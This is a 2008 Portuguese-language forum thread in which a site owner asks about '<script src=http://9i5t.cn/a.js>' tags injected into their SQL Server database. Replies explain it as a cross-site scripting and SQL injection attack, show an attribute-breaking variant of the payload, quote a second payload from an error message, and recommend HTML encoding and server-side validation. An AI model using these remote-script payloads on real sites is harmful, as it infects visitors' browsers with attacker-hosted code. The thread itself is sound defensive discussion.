none
o que siginifica <script src=http://9i5t.cn/a.js></script> RRS feed

  • Pergunta

  •  

    ola, apareceu em meus registros de um bd sql server hospedado no terra o seguinte codigo

    <script src=http://9i5t.cn/a.js></script> em todos campos com nome "NOME" em todas as tabelas.

    meus sistema tem apenas um campo de IMPUT que é para login e senha mas este nao aceita códigos, nãio acho nada na internet com referencia a isso e ainda não consigui contato com terra pra variar. alguem sabe oque isso siginifica?

    orbigado

    quarta-feira, 14 de maio de 2008 19:50

Respostas

  • Boa Tarde,

     

    Isso é certamente uma tentativa de ataque chamado Cross Scripting Site. Provavelmente no momento do usuário inserir o nome ele colocou essa referência. Assim na hora de montar o INPUT teríamos algo do tipo

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE="NomeRecuperadodoBanco">

     

     

    Considerando a string em questão, o código HTML ficaria da seguinte forma:

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE="<script src=http://9i5t.cn/a.js></script> ">

     

     

    Nesse caso não aconteceria nada porque o invasor não soube fazer o ataque direito. Mas se ele tivesse pensado um pouco mais, então teríamos

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE=""><script src=http://9i5t.cn/a.js></script> ">

     

     

    Ao final teríamos um código HTML mal formado, mas ele seria suficiente para montar um nome vazio e executar um script malicioso no site referenciado.

     

    Esse técnica não é tão agressiva como o SQL Injection principalmente porque o computador afetado seria o do próprio usuário logado. No entanto, em aplicações como um fórum, na qual todos irão ver a mensagem ou o login de quem postou determinada mensagem, bastaria abrir uma página e todos seriam infectados.

     

    Para prevenir esse tipo de técnica utilize metódos como HTMLEncode para converter o código em HTML puro. Assim o texto seria exibido mas não processado. Nem sempre bloquear sinais é a melhor solução, pois, em algumas situações (Nicks por exemplo) eles podem ser necessários.

     

    [ ]s,

     

    Gustavo

    quarta-feira, 14 de maio de 2008 20:06

Todas as Respostas

  • Boa Tarde,

     

    Isso é certamente uma tentativa de ataque chamado Cross Scripting Site. Provavelmente no momento do usuário inserir o nome ele colocou essa referência. Assim na hora de montar o INPUT teríamos algo do tipo

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE="NomeRecuperadodoBanco">

     

     

    Considerando a string em questão, o código HTML ficaria da seguinte forma:

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE="<script src=http://9i5t.cn/a.js></script> ">

     

     

    Nesse caso não aconteceria nada porque o invasor não soube fazer o ataque direito. Mas se ele tivesse pensado um pouco mais, então teríamos

     

    Code Snippet
    <INPUT TYPE=TEXT NAME="txtLogin" VALUE=""><script src=http://9i5t.cn/a.js></script> ">

     

     

    Ao final teríamos um código HTML mal formado, mas ele seria suficiente para montar um nome vazio e executar um script malicioso no site referenciado.

     

    Esse técnica não é tão agressiva como o SQL Injection principalmente porque o computador afetado seria o do próprio usuário logado. No entanto, em aplicações como um fórum, na qual todos irão ver a mensagem ou o login de quem postou determinada mensagem, bastaria abrir uma página e todos seriam infectados.

     

    Para prevenir esse tipo de técnica utilize metódos como HTMLEncode para converter o código em HTML puro. Assim o texto seria exibido mas não processado. Nem sempre bloquear sinais é a melhor solução, pois, em algumas situações (Nicks por exemplo) eles podem ser necessários.

     

    [ ]s,

     

    Gustavo

    quarta-feira, 14 de maio de 2008 20:06
  • Olá, implementei todo tipo de proteção contra os ataques, mas nada resoulveu pela sexta vez pedindo resstore do BD de dados, encontrei outras paginas hospedadas no terra com os mesmos códigos, o que provou totalmente que o problema é interno do TERRA, mas eles nao admitem, alguem mais ja enfrentou isso com o terra?

    terça-feira, 1 de julho de 2008 11:40
  • Bom Dia,

     

    Eu recomendaria então que você ativasse algum tipo de Log (não sei se o seu servidor de aplicação tem esse recurso) e o Profiler do SQL Server. Tente identificar que cláusulas SQL estão sendo enviadas para o servidor e quais dessas cláusulas são maliciosas.

     

    Em último caso, coloque em sua aplicação um controle para gravar instruções SQL em um arquivo próprio adicionando a página que gerou a instrução. Analise-o posteriormente.

     

    Acho que quanto mais recursos você tiver para provar que há (se é que há) alguma negligência do provedor, melhor. No entanto, o provedor apenas hospeda as páginas e não imagino porque ele seria o responsável.

     

    [ ]s,

     

    Gustavo

     

    terça-feira, 1 de julho de 2008 12:35
  • Gustavo a fim de Conhecimento estes dias o MVP Tony Rogerson publicou um post no seu blog falando sobre isso.

     

    http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/06/28/if-only-you-d-used-stored-procedures-you-wouldn-t-have-got-hacked.aspx

     

     

    terça-feira, 1 de julho de 2008 12:40
  • Fabiano,

     

    Obrigado pela informação.

    terça-feira, 1 de julho de 2008 12:42
  • outro site hospedado no terra com os mesmo problema http://www.kunzler.com.br/produtos.asp?produto1=1 retornando seguinte erro, retornando o seguinte erro

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1<script src=http://www.apps84.com/b.js></script>' to a column of data type int.

    /produtos.asp, line 17

     

    os mesmos codigos que aparece nos registros dos meu bd

     

    minha dúvida é, o provedor esta absolvido? com varios clientes com o mesmo problema é falha em nossas páginas?

    obrigado.

    terça-feira, 1 de julho de 2008 12:49
  • Oi Fabiano,

     

    Vou ler o artigo logo que possível (ele está bloqueado aqui no trabalho), mas até onde sei Stored Procedures ajudam muito mas não são suficientes para limitar todas as possibilidades de SQL Injection.

     

    Bruno,

     

    Não sei como funciona a hospedagem do Terra e se ela nativamente oferece vulnerabilidades, mas se esse problema está acontecendo, é porque existe uma ausência no tratamento do erro. Não sei se isso compete a quem desenvolveu à página ou ao fato das páginas oferecerem alguma estrutura pronta que não pode ser modificada.

     

    Em todo o caso, se você achar que o provedor não está cumprindo com as suas responsabilidades eu recomendaria que você se cercasse do maior número de evidências possíveis para contestá-lo.

     

    [ ]s,

     

    Gustavo

    terça-feira, 1 de julho de 2008 13:01
  • Olá, é possivel o site que não possue nenhum Form que intereja com o BD nem mesmo possuir CMS, seja vulneravel a SQL Injection?

    quinta-feira, 3 de julho de 2008 11:08
  • Olá Bruno,

     

    Sim. Isso é possível. Mesmo que o Form não interaja diretamente com o BD, uma brecha no tratamento dos parâmetros de entrada faria com que o form passasse o código malicioso para outra camada (um servidor de componentes por exemplo) e posteriormente chegaria no banco de dados.

     

    Não importa quantas camadas você tenha, mas se você não fizer o tratamento em alguma delas, uma hora o erro chega ao banco de dados. Quanto mais cedo o tratamento for feito melhor. Vale a pena lembrar que tratar parâmetros na camada do cliente (apenas com JavaScript) é uma opção que diminui o tráfego de rede, mas não impede que o invasor quebre o código JavaScript. É preciso fazer a validação do lado do servidor também.

     

    Estamos começando a nos desviar do propósito desse fórum. Moverei essa Thread para o fórum de Arquitetura que é mais indicado para tratarmos esse assunto.

     

    [ ]s,

     

    Gustavo

     

    quinta-feira, 3 de julho de 2008 12:19
  • Veja este post no MCDBA Brasil, espero que te ajude a compreender como este ataque funciona. Até mais.

    http://www.mcdbabrasil.com.br/modules.php?name=Forums&file=viewtopic&t=2628&highlight=sql+injection
    quarta-feira, 30 de julho de 2008 21:36